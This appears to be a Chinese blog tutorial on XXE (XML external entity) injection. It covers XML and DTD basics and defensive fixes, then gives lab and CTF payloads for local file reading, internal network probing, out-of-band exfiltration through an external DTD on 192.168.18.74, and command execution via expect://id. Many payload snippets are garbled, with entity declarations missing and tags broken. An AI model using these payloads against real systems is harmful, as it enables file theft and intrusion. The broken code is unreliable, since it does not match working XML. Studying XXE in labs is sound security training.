etree解析xml_WEB漏洞 XML & XXE漏洞

20d1608721e380005eaa314ffd723f0a.png

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XML 与 HTML 的主要差异XML 被设计为传输和存储数据,其焦点是数据的内容。HTML 被设计用来显示数据,其焦点是数据的外观。HTML 旨在显示信息 ,而 XML 旨在传输信息。<?xml version="1.0"?>                   ]]]><note><to>Daveto><from>Tomfrom><head>Reminderhead><body>You are a good manbody>note>#DTD文档类型定义(DTD)可定义合法的XML文档构建模块它使用一系列合法的元素来定义文档的结构DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用(1)内部的 DOCTYPE 声明元素声明]>(2)外部文档声明文件名”>#DTD实体(1)内部实体声明<!ENTITY 实体名称 ”实体的值”>(2)外部实体声明<!ENTITY 实体名称 SYSTEM ”URI”>(3)参数实体声明<!ENTITY %实体名称 ”实体的值”><!ENTITY %实体名称 SYSTEM ”URI”>#xxe漏洞修复与防御方案-php,java,python-过滤及禁用#方案1-禁用外部实体PHP:libxml_disable_entity_loader(true);JAVA:DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);Python:from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))#方案2-过滤用户提交的XML数据过滤关键词:!ENTITY,或者SYSTEM和PUBLIC
  • pikachu靶场xml数据传输测试-回显,玩法,协议,引入

d5b668838f8d7db639d4d823feb9b7a3.png

#玩法-读文件<?xml version = "1.0"?>    ]><x>&xxe;x>

cabe7c6eeae708293b81b21fa92876d6.png

#玩法-内网探针或攻击内网应用(触发漏洞地址)<?xml version="1.0" encoding="UTF-8"?>         ]><x>&rabbit;x>

e68278f9ee31d87fc0546c5c1426f92b.png

#引入外部实体dtd<?xml version="1.0" ?>        %file;]><x>&send;x>evil2.dtd:<!ENTITY send SYSTEM "file:///f://payload.txt">

46a84a80d2c0c549fddb5edcefb23efa.png

#无回显-读取文件xml version="1.0"?>"php://filter/read=convert.base64-encode/resource=test.txt">"http://192.168.18.74/test.dtd">%dtd;%send;]>test.dtd:  ""> %payload;#协议-读文件(绕过)参考:https://www.cnblogs.com/20175211lyz/p/11413335.htmlxml version = "1.0"?> "php://filter/read=convert.base64-encode/resource=xxe.php"> ]> &f;#玩法-RCE该CASE是在安装expect扩展的PHP环境里执行系统命令xml version = "1.0"?>    "expect://id" >]>&xxe;
  • xxe-lab靶场登陆框xml数据传输测试-检测发现

burp抓包 分析数据包   可判断的类型为xml

1.提交的数据包含XML格式如:<forgot><username>adminusername>forgot>2.请求头中如:Content-Type:text/xml或Content-type:application/xml

f912c027c0084c64b8e798fc3e50f775.png

注入代码

12e92827e2d9e7757ea930c812586ee0.png

  • CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式

http://web.jarvisoj.com:9882/更改请求数据格式:application/xml<?xml version = "1.0"?>    ]><x>&f;x>

4cb0179b66c1a6493885e3431525d337.png

  • xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

https://github.com/enjoiz/XXEinjector

git clone https://github.com/enjoiz/XXEinjector.git

65baecd7e334e72a4e80f70047039130.png

参考链接:

https://cnblogs.com/bmjoker/p/9614990.html

d4b342ff902092e2f041b4c65644a0b8.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值